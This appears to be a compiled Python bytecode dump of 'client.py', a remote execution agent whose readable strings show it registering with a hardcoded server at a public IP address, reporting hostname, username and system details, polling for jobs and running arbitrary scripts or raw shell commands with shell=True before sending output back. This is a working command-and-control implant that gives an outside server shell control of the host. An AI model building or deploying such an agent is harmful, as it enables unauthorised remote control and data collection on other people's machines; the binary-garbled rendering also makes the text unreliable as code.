
    i                        d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddlmZ  ej                  dd      j                  d      Z e ej                  dd            Z e ej                  d	d
            Zd Zd Zd Zd Zd ZddZd Zd Zd Zd Zd Zd Zd Z e!dk(  r e         yy)u  
client.py — Remote execution agent
Registers with admin server, pings health, polls for commands, executes them, sends logs back.

Usage:
    python client.py

Environment variables:
    SERVER_URL      Admin server base URL (default: http://localhost:5000)
    CLIENT_TAGS     Comma-separated extra tags for this agent
    POLL_INTERVAL   Seconds between polls (default: 5)
    MAX_LOG_CHARS   Max log characters to send back (default: 10000)
    N)datetime
SERVER_URLzhttp://213.136.64.157:5000/POLL_INTERVAL5MAX_LOG_CHARS10000c                  *    t        j                         S N)socketgethostname     	client.pyget_hostnamer   $   s    r   c                      	 t        j                         S # t        $ rA t        j                  j                  dt        j                  j                  dd            cY S w xY w)NUSERUSERNAMEunknown)getpassgetuser	Exceptionosenvirongetr   r   r   get_usernamer   (   sJ    M   Mzz~~fbjjnnZ&KLLMs    AA A c                     t        j                  dd      } dt               t        j                         j                         h}| j                  d      D ]&  }|j                         }|s|j                  |       ( t        |      S )NCLIENT_TAGS *,)
r   getenvr   platformsystemlowersplitstripaddsorted)extratagstcs       r   get_tagsr.   /   sm    IImR(E,.(//"3"9"9";<D[[ GGIHHQK $<r   c                  l   	 t        j                  d      } t        j                         }t        j                  d      }t	        j
                  t        j                               j                         }| t        |j                  dz  d      t        |j                  dz  d      |j                  t        |j                  dz  d      t        |j                  dz  d      |j                  |t        j                         t        j                  d
S # t        $ r}dt!        |      icY d }~S d }~ww xY w)N   )intervalr   g    eA   )
cpu_percentram_total_gbram_used_gbram_percentdisk_total_gbdisk_used_gbdisk_percent	boot_timer#   pythonerror)psutilr3   virtual_memory
disk_usager   fromtimestampr:   	isoformatroundtotalusedpercentr#   sysversionr   str)cpumemdiskbootes        r   get_system_healthrN   9   s    !##Q/&&(""3'''(8(8(:;EEG!#))c/15!#((c/15KK"4::#3Q7"499#3Q7!\\ $--/KK
 	
  !Q  !s   DD 	D3D.(D3.D3c                     	 t        j                  t         |  |d      }|j                  r|j	                         S d S # t
        $ r Y y w xY w)N
   )jsontimeout)requestspostr   okrQ   r   )pathpayloadrs      r   rT   rT   O   sK    MMZL/grJ44qvvx)T)    ;A  A   	AAc                     	 t        j                  t         |  |d      }|j                  r|j	                         S d S # t
        $ r Y y w xY w)NrP   )paramsrR   )rS   r   r   rU   rQ   r   )rV   r[   rX   s      r   get_jsonr\   W   sK    LLJ<v.vrJ44qvvx)T) rY   c                 ^    | ||t        j                          t               d}t        d|      S )N)hostnameusernamer+   r#   healthz/api/agent/register)r#   rN   rT   r^   r_   r+   rW   s       r   registerrb   a   s4    %%'%'G %w//r   c                 8    | ||t               d}t        d|      S )N)r^   r_   r+   r`   z/api/agent/heartbeat)rN   rT   ra   s       r   	heartbeatrd   l   s(    %'	G &00r   c                 |   |xs dj                         }|dk(  rdnt        j                  dk(  rdnd}t        j                  d      }t        j
                  j                  |d|       }t        |d	d
      5 }|j                  |        d d d        	 |dk(  rt        j                  |g}nt        j                  dk(  rdd|g}nd|g}t        j                  |t        j                  t        j                  d      }d}	|j                  D ]  }
|	|
z  }		 |j!                          |j"                  dk(  rdnd}t)        j*                  |d       t-        |	      t.        kD  r|	d t.         dz   }	||	fS # 1 sw Y   xY w# t$        $ r}t'        |      }	d}Y d }~`d }~ww xY w# t)        j*                  |d       w xY w)Nr;   z.pyntz.cmdz.shremoteexec_job_)prefixscriptwzutf-8)encodingcmdz/cbashT)stdoutstderrtextr   r   donefailed)ignore_errors
... [truncated])r%   r   nametempfilemkdtemprV   joinopenwriterF   
executable
subprocessPopenPIPESTDOUTrn   wait
returncoder   rH   shutilrmtreelenr   )ri   language
normalizedsuffixjob_dirrV   frl   proclogslinestatusrM   s                r   execute_scriptr   x   s   &h--/J H,URWW_6RWF&78Gggll7fVH$56D	dC'	* a	3!>>4(CWW_$%C4.C??$$	
 KK 	DDLD	 			??a/X 	gT2
4y= N]#&994<E 2  Q 	gT2s7   :E3B%E? 3E<?	FFF" FF" "F;c                 p   	 t        j                  | dt         j                  t         j                  d      }d}|j                  D ]  }||z  }	 |j                          |j                  dk(  rdnd}t        |      t        kD  r|dt         dz   }||fS # t        $ r}t        |      }d}Y d}~=d}~ww xY w)	z,Execute a raw shell command string directly.T)shellrn   ro   rp   r   r   rq   rr   Nrt   )r|   r}   r~   r   rn   r   r   r   rH   r   r   )commandr   r   r   r   rM   s         r   execute_raw_commandr      s    ??$$
 KK 	DDLD			??a/X
 4y= N]#&994<  Qs   A1B 	B5B00B5c                 >    t        d| dj                  |      d      S )Nz/api/job/fetchr!   r^   r+   )r\   rx   r   s     r   	fetch_jobr      s    $8SXXd^&TUUr   c                 $    t        d| |||d      S )Nz/api/job/resultjob_idr^   r   r   )rT   r   s       r   submit_resultr      s#    !	$  r   c                     t               } t               }t               }t        d| d|         t        d|        t        dt                t        | ||      }|rt        d       nt        d       d}	 t        j                         }||z
  t        k\  rt        | ||       |}t        | |      }|r|j                  d      r|d   }|j                  d	d
      }|j                  dd      }	|j                  dd      }
t        d| d|	 d|        |	dk(  rt        |
      \  }}nt        |
|      \  }}t        d| d|        t        || ||       nt        j                  t               )Nu   [*] Agent starting — @z
[*] Tags: z[*] Server: z[+] Registered with server.z1[!] Could not reach server. Will keep retrying...r   r   r   r;   typeri   r   z[+] Job received: z  type=z  lang=r   z[+] Job done: z	  status=)r   r   r.   printr   rb   timer   rd   r   r   r   r   r   sleep)r^   r_   r+   resplast_heartbeatnowjobjidr   jtypecontentr   r   s                r   workerr      sp   ~H~HzD	#H:Qxj
9:	Jtf
	L
%& Hh-D+,ABN
iik =0h$/ N $'3778$8}Cwwz84Hwwvx0Ewwx,G&se75'
KL	!27;-gx@N3%y9:#x6 JJ}%9 r   __main__r   )"__doc__r|   rv   r   r   r   r#   rF   r   rQ   r   r=   rS   r   r"   rstripr   intr   r   r   r   r.   rN   rT   r\   rb   rd   r   r   r   r   r   __name__r   r   r   <module>r      s      	    
      		,(DELLSQ
IBIIos34IBIIow78
 M!,01)X6V.&b z
H r   